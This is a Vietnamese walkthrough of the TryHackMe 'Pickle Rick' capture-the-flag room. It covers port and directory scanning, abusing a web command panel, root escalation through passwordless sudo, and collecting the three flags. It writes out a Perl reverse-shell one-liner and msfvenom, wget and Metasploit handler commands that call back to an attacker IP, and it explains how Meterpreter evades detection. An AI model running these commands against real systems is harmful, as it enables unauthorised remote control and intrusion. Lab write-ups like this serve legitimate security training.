Server khai thác:

https://tryhackme.com/room/picklerick

Thực hiện start machine để lấy địa chỉ ip của mục tiêu cần khai thác:

Ping kiểm tra máy Kali có đang cùng mạng với Mục tiêu hay ko:

Text

Description automatically generated

Thực hiện scan các port TCP:

nmap -vv -Pn -T4 -sC -sV -O -p- 10.10.176.127

Graphical user interface

Description automatically generated

Thực hiện việc scan các port UDP

nmap -vv -Pn -T4 -sU -sV 10.10.176.127

Dựa trên kết quả quét các port TCP và phiên bản như trên, có thể thấy Server đang mở 2 port 22 và 80. Trong đó port 22 là service SSH với phiên bản OpenSSH 7.2p2.

Thử truy cập bằng ssh đên server -> nhưng thất bại

Text

Description automatically generated

T́m lỗi liên quan đến phiên bản của SSH này

Text

Description automatically generated

Dựa vào kết quả t́m kiếm, rất có thể Server dính lỗ hỏng “Usename Enumeration”. Thông qua t́m hiểu th́ lỗi này thường chạy rất mất thời gian để t́m ra username cho SSH, sau đó lại c̣n phải brute force t́m password cho tài khoản đó mà chưa chắc sẽ t́m ra được -> tạm thời bỏ qua.

Chuyển đến tiếp theo sẽ là port 80. Tiến hành truy cập trang web theo địa chỉ của Server, t́m source:

Graphical user interface

Description automatically generated with low confidence

Và src của nó sẽ là:

 

 

 

<!DOCTYPE html>

<html lang="en">

<head>

  <title>Rick is sup4r cool</title>

  <meta charset="utf-8">

  <meta name="viewport" content="width=device-width, initial-scale=1">

  <link rel="stylesheet" href="assets/bootstrap.min.css">

  <script src="assets/jquery.min.js"></script>

  <script src="assets/bootstrap.min.js"></script>

  <style>

  .jumbotron {

    background-image: url("assets/rickandmorty.jpeg");

    background-size: cover;

    height: 340px;

  }

  </style>

</head>

<body>

  <div class="container">

    <div class="jumbotron"></div>

    <h1>Help Morty!</h1></br>

    <p>Listen Morty... I need your help, I've turned myself into a pickle again and this time I can't change back!</p></br>

    <p>I need you to <b>*BURRRP*</b>....Morty, logon to my computer and find the last three secret ingredients to finish my pickle-reverse potion. The only problem is,

    I have no idea what the <b>*BURRRRRRRRP*</b>, password was! Help Morty, Help!</p></br>

  </div>

  <!--

    Note to self, remember username!

    Username: R1ckRul3s

  -->

</body>

</html>

 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


Phần màu xanh lá ở trên là comment trên front end code, đây có thể là user dùng để đăng nhập lên chính trang web hoặc là dùng đăng nhập SSH. Nhưng tạm thời th́ cứ để đây và tiếp tục t́m kiếm các thông tin khác như các dir ẩn.

Thực hiên chạy lệnh:

gobuster dir -w common-web-content.txt -u 10.10.176.127 -t 25 -x txt,php,py,sh

·       gobuster: tên lệnh

·       dir: chế độ t́m file ẩn

·       -u: url của server nạn nhân

·       -w: tên wordlist cần dùng

·       -x: những extension muốn t́m (thường với website linux sẽ là txt, php, php5, py, rb, pl, sh)

·       -t: số threads chạy trong 1 giây

A computer screen capture

Description automatically generated with low confidence

Có thể nhận thấy 2 đường dẫn trả về status 200. Tiến hành truy cập 2 trang này.

Với url đầu tiên:

Graphical user interface, text

Description automatically generated

Đây có thể là password cho username vừa t́m được hồi nảy.

Với cái thứ 2, chúng ta được một nơi như là chỗ để đăng nhập:

Diagram

Description automatically generated with medium confidence

Đăng nhập thành công th́ được một nơi như thế này:

Graphical user interface, text, application

Description automatically generated

Đến đây th́ test thử một cài câu lệnh xem cái Command Panel này hoạt động như thế nào.

Table

Description automatically generated

Graphical user interface, text, application, chat or text message

Description automatically generated

TIP QUAN TRỌNG:

Thông thường, chúng ta có thể sử dụng tŕnh điều khiển này để pentest tiếp, nhưng lúc này lại có một vấn đề như thế này. Để có thể truy cập vào được tŕnh điều khiển server bằng ḍng lệnh này, chúng ta cần phải đăng nhập thành công vào admin dashboard, vậy điều ǵ sẽ xảy ra nếu như password và username bị thay đổi? Khả năng cao là chúng ta sẽ không thể truy cập vào tŕnh điều khiển này được nữa và phải t́m một lỗi khai thác khác.

Để tránh trường hợp trên xảy ra, chúng ta sẽ thiết lập một TCP reverse shell. Hay có thể giải thích đơn giản rằng chúng ta sẽ thiết lập một kết nối TCP từ máy nạn nhân đến máy của pentester và chúng ta sẽ điều khiển máy nạn nhân thông qua kết nối TCP đó. Như vậy, chúng ta không cần phải lo lắng chuyện mất quyền truy cập vào tŕnh điểu khiển nữa.

Kiểm tra trên server có đang chạy bash, perl, python, ruby ǵ không?

Graphical user interface, text, application, email

Description automatically generated

Chúng ta đă xác định được server có chạy những loại nào, tiếp theo sẽ tạo một Reverse shell bằng những câu lệnh như link sau.( Hoặc link này).

Trước đó cần phải xác định IP mà máy pentester đă dùng VPN tới, đồng thời là một port để nhận tín hiệu gửi về. Phần IP th́ có sẳn, kiểm tra xem một port nào đó có đang được mở dùng trên máy dùng câu lệnh nmap, telnet, cat /etc/services.

Chúng ta sẽ mượn port 8888 để nhận kết nối chỏ về từ máy server. Cách mở port trên máy kali: nc -nlvp 8888

·       n: Mang ư nghĩa chúng ta sẽ chỉ dùng IPv4 address, không dùng domain

·       -l: Chế độ lắng nghe

·       -v: Verbose – Cho biết quá tŕnh lắng nghe đang diễn ra thế nào

·       -p: Chỉ định port để lắng nghe

Tiếp theo sử dụng những câu lệnh để excute từ trên server, trong trường hợp này là:

perl -e 'use Socket;$i="10.4.43.108";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

CHÚ Ư: lúc làm lab tới đây th́ tắt đi nghỉ, nên địa chỉ server của tryhackmy sẽ thay đổi khi bật lên làm tiếp:

-        IP server: 10.10.105.178

-        IP của máy kali: 10.4.43.108

Sau khi excute câu lệnh trên web cùng với thực hiện lắng nghe trên máy kali, kết quả nhận được:

Text

Description automatically generated

T́m key thứ nhất:

Sau khi có kết nối rồi, dùng lệnh kiểm tra các tập tin/ thư mục đang hiện hành nên dùng lệnh “ls -la”

Text

Description automatically generated with medium confidence

Có một file dạng txt khả nghi, đọc file đó => key1: mr. meeseek hair

T́m key thứ 2

Đầu tiên di chuyển ra thư mục root và liệt kê ra các file/dir hiện hành:

Text

Description automatically generated

Kiến thức thu lụm được:

Ở thời điểm này, chỉ cần chú ư đến 3 directories đó là

·       home: Nơi chứa những directories của những người dùng thông thường. Những người dùng thông thường sẽ được phép truy cập vào directory home này, nhưng không được phép thay đổi những directories (ví dụ như thêm hoặc xóa) được chứa bên trong directory home.

·       root: Directory của root hay admin, người có quyền quản trị cao nhất và chỉ có root/admin mới được quyền truy cập vào đây.

·       tmp: đây là directory thường được dùng để lưu trữ những dữ liệu tạm thời, và được cấp quyền truy cập, sửa đổi và thực thi cho tất cả người dùng hệ thống (cả root lẫn người dùng thường). V́ lẽ, directory này rất hay bị lợi dụng làm nơi chuyển dữ liệu hoặc mă độc giữa máy hacker và máy nạn nhân. Cũng như hacker có thể chạy file mă độc ngay tại directory tmp để tấn công hệ thống.

Di chuyển vào thư mục home, liệt kê các user:

Kết quả trả về là có 2 người dùng b́nh thường là rick và ubuntu, và chúng ta có quyền truy cập vào cả 2 directories này. Thế tại sao account www-data lại không có ở đây? V́ account www-data là account mặc định được hệ thống webserver (ví dụ như Apache hoặc Nginx, v.v.) sử dụng cho các tác vụ thường ngày. Đây là một account b́nh thường và không có quyền hạn ǵ đặc biệt.

Vào trong user rick để t́m key thứ 2

Text

Description automatically generated

T́m key thứ 3

Lúc này chuyển qua user c̣n lại trong thư mục home để t́m. Ở đây chúng ta có 2 file để chú ư là .sudo_as_admin_successful và .ssh. Nhưng .sudo_as_admin_successful có số byte dữ liệu bằng 0 nên đây là một file trống. C̣n directory .ssh không cho chúng ta quyền truy cập. Có thể thử cd đến .ssh sẽ nhận được báo lỗi sau

Text

Description automatically generated

Do đó cần phải leo thang đặc quyền để có thể truy cập được trong dir này. Privileges escalation là một lĩnh vực khá rộng và có vô số cách cũng như kỹ thuật để thực hiện. Trong đó có 2 cách phổ biến nhất đó là sử dụng:

·       Kernal exploit: Nghĩa là lợi dụng những lỗ hổng bảo mật nằm trong nhân Linux hoặc hệ điều hành Ubuntu để tiến hành nâng quyền quản trị.

·       Sudo rights: Lợi dụng các công cụ được cấp quyền sử dụng để nâng quyền quản trị.

Đầu tiên bắt đầu với Kernal exploit, cần phải thu thập thông tin liên quan đến OS, kernel như sau:

A black screen with white text

Description automatically generated with low confidence

Kết hợp các điều trên có nghĩa là chúng ta cần t́m một phần mềm khai thác lỗi cho phép nâng cấp quyền quản trị trên Ubuntu 16.04.5 LTS hoặc Kernel 4.4.0-1072-aws được viết bằng Bash, Perl, C hoặc có đuôi .elf (file thực thi trên Linux).

Tiến hành t́m lỗi những không mấy khả quan

Kết quả không mấy khả quan nên sẽ chuyển qua cách nâng cấp đặc quyền thứ 2 là sudo right.

Kiến thức:  tất cả mọi thứ từ thiết bị, công cụ, câu lệnh, interface, ip address, port, v.v trên Linux đều là một file. Do đó, việc bạn có thể sử dụng một công cụ ví dụ Perl hay một ḍng lệnh ví dụ ls được hay không phụ thuộc hoàn toàn vào việc bạn có quyền tiếp cận, và thực thi với file Perl hoặc file ls hay không. Mỗi account trong hệ thống Linux thường sẽ được cấp phép sử dụng một số công cụ hoặc câu lệnh để thực hiện công việc của họ. Và các công cụ hoặc câu lệnh này nếu không được quản trị kỹ, chúng hoàn toàn có thể bị lợi dụng để nâng cấp lên quyền quản trị cao hơn, hoặc thậm chí là quyền quản trị root.

Do đó, cần kiểm tra quyền của account hiện tại:

Text

Description automatically generated

Dựa vào kết quả trên chúng ta có thể thấy, account của chúng ta có quyền sử dụng bất kỳ công cụ và câu lệnh nào đang có trên server Pickle Rick mà không cần phải cung cấp password của account hiện tại hoặc password của account root.

Do không yêu cầu về password nên sử dụng câu lệnh “sudo su” để nâng cấp đặc quyền lên root luôn.

Text

Description automatically generated

Lúc này xem như đă nắm được toàn bộ Server, do đó nên đi ṿng ṿng kiếm flag cho thử thách thứ 3 thui, kết quả nhận được sẽ là:

Graphical user interface, text

Description automatically generated

đ Giải được toàn bộ flag của Pickle Rick

--------------------------------------------------------------------------------------------------------------------------------------------ĐÂY LÀ PHẦN KIẾN THỨC LIÊN QUAN NHƯNG NÂNG CAO HƠN------------

---------------------------------------------------------------------------------------------------------------------

Trong CTF, sau khi hoàn thành phần 3 bên trên là đă có thể coi như đă chiến thắng. Nhưng khi đi làm pentest, sẽ có khác biệt một tí. Khác biệt đó nằm ở chỗ kết nối TCP reverse shell đang dùng vẫn chưa phải là một kết nối bền vững và có thể bị can thiệp bất cứ lúc nào do kết nối trên có thể bị phát hiện bởi Task Manager. Chưa kể đường truyền TCP reverse shell không được mă hóa, dễ dẫn đến t́nh trạng lộ thông tin nhạy cảm của cả pentester lẫn nạn nhân.

Để pḥng tránh việc đó, chúng ta sẽ nâng cấp đường truyền từ TCP reverse shell thành Meterpreter shell. Ưu điểm của Meterpreter shell so với TCP reverse shell như sau:

·       Meterpreter sử dụng in-memory DLL injection, nghĩa là nó sẽ chỉ ghi dữ liệu trên RAM mà thôi, và không ghi ǵ vào ổ cứng cả, do đó hạn chế việc để lại dấu vết.

·       Kết nối meterpreter không tạo ra process mới mà sẽ tự inject nó vào process đă bị tấn công khiến nó gần như vô h́nh trước các chương tŕnh như Task Manager trên Windows. Khi process bị meterpreter tấn công bị kill, meterpreter sẽ tự động nhảy sang một process khác để duy tŕ kết nối.

·       Kết nối meterpreter được mă hóa.

·       Do meterpreter là một tính năng của Metasploit, sử dụng meterpreter cho phép pentester sử dụng luôn các module post-exploitation ví dụ như keyblogger, cổng hậu, v.v. có sẵn trên Metasploit để tấn công sâu hơn vào hệ thống của nạn nhân.

Chúng ta sẽ bắt đầu nâng cấp đường truyền từ TCP reverse shell thành Meterpreter shell.

Sử dụng câu lệnh sau để tạo ra một file meterpreter

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.4.43.108 LPORT=9999 -f elf -o shell.elf

Trong đó:

·       msfvenom: Tên câu lệnh

·       -p linux/x86/meterpreter/reverse_tcp: Dạng payload hay dạng kết nối sẽ sử dụng

·       LHOST và LPORT: Địa chỉ IP và port dùng để nhận shell trên máy Kali của hacker

·       -f: Format của dữ liệu đầu ra. Ở đây chọn elf là extension file thực thi của Linux.

·       -o: Xuất ra file có tên là shell.elf

Tiếp theo sử dụng câu lệnh

Python3 -m http.server 8000

Câu lệnh trên sử dụng một module của Python có tên là SimpleHTTPServer để biến directory hiện tại thành một webserver cho phép trao đổi file tại port 8000 với địa chỉ IP là IP của hacker. Webserver này có thể được truy cập bởi tất cả các máy ở trong cùng mạng.

Graphical user interface, text, application

Description automatically generated

Sử dụng câu lệnh sau trên server để download

wget http://10.4.43.108:8000/shell.elf

A screenshot of a computer

Description automatically generated with medium confidence

Thực hiện cấp quyền thực thi trên máy Server và excute file đó

Text

Description automatically generated

Quay lại trên máy kali, tiến hành dùng metasploit để nhận kết nối trỏ về

msfconsole

use exploit/multi/handler

set LHOST <IP của bạn>

set LPORT <Port đă dùng trong command msfvenom bên trên>

set PAYLOAD linux/x86/meterpreter/reverse_tcp

exploit

Kết quả cuối cùng nhận được sẽ là

Graphical user interface, text

Description automatically generated